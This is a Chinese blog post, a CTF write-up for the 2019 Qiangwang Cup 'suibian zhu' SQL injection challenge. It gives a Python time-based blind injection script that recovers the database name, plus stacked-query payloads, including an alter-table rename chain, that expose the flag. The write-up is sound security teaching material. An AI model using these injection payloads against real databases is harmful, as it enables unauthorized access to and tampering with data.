[强网杯 2019]随便注
[强网杯 2019]随便注#
先用字符串类型,测试注入类型
出现报错,说明这里是存在 字符型注入,测试万能公式
# payload
2' and '2'='2
成功回显了,然后就是老套路,查数据库、数据表、字段名、字段值。
出现了 正则过滤关键字,但是正则中存在一个 i 表示对查询的关键字大小写不敏感,大小写都可以被匹配到,只能使用延时注入爆破一下数据库名用户名,没什么有用的信息。
# 数据库名
import requests
import time
url = """http://f8b429df-c3d5-47e6-96a7-f81dca977300.node4.buuoj.cn:81/"""
letters = 'abcdefghijklmnopqrstuvwxyz0123456789@_.'
def db_name(len):
db_name = ''
print('Task execution-------------OK!')
for l in range(1,len+1):
for work in letters:
payload = """?inject=2' AND IF(substr(database(),%d,1)='%s',sleep(3),1) %%23""" %(l,work)
#payload = url_nop(payload)
start = time.time()
re = requests.get( url + payload)
end = time.time()
if (end - start) > 3:
db_name += work
break
else:
pass
print('db_name:{}'.format(db_name))
if __name__ == '__main__':
db_name(10)
# 结果
Task execution-------------OK!
db_name:s
db_name:su
db_name:sup
db_name:supe
db_name:super
db_name:supers
db_name:supersq
db_name:supersql
db_name:supersqli
db_name:supersqli
[Finished in 36.0s]
对sql里面的函数不是太清楚,就会个增删改查,都被过滤了,后来看了 WriteUp 才知道用什么方法进行注入。
注入方法:堆叠注入------大佬博客
利用多条SQL语句一起执行,每条语句之间使用 ; 隔开。
?inject=2';show tables;%23
爆出来了了两个表,查看表中的字段,发现了flag字段
?inject=2';desc `1919810931114514`;%23
# 这里为什么要加反引号呢?
# 这里的表名是数字,所以需要加上反引号
# 如果是字符串就可以不需要
?inject=2';desc words;%23
因为 select 关键字被过滤了,不能直接查,看 大佬文章 上给出了 两种方法,一种是使用 预编译 的方法,另外一种是 修改表名,我尝试使用修改表名的方法,这种方法感觉好特别。
# payload
1';alter table words rename to words1;alter table `1919810931114514` rename to words;alter table words change flag id varchar(50);#
使用 or 就可以查询出flag了
# payload
?inject=1' or '1'='1
作者:knsec
出处:https://www.cnblogs.com/knsec-cnblogs/p/16582258.html
版权:本作品采用「署名-非商业性使用-相同方式共享 4.0 国际」许可协议进行许可。
备注:你可以在这里自定义其他内容,支持 HTML
本文来自博客园,作者:knsec,转载请注明原文链接:https://www.cnblogs.com/knsec-cnblogs/p/16582258.html
【推荐】博客园的心动:当一群程序员决定开源共建一个真诚相亲平台
【推荐】国内首个AI IDE,深度理解中文开发场景,立即下载体验Trae
【推荐】Flutter适配HarmonyOS 5知识地图,实战解析+高频避坑指南
【推荐】开源 Linux 服务器运维管理面板 1Panel V2 版本正式发布
【推荐】轻量又高性能的 SSH 工具 IShell:AI 加持,快人一步
· dotnetty 新的篇章- 开源
· 设计模式:简单工厂、工厂方法与抽象工厂
· 【大数据高并发核心场景实战】 - 数据持久化之冷热分离
· DotTrace系列:1. 理解四大经典的诊断类型(上)
· 这5种规则引擎,真香!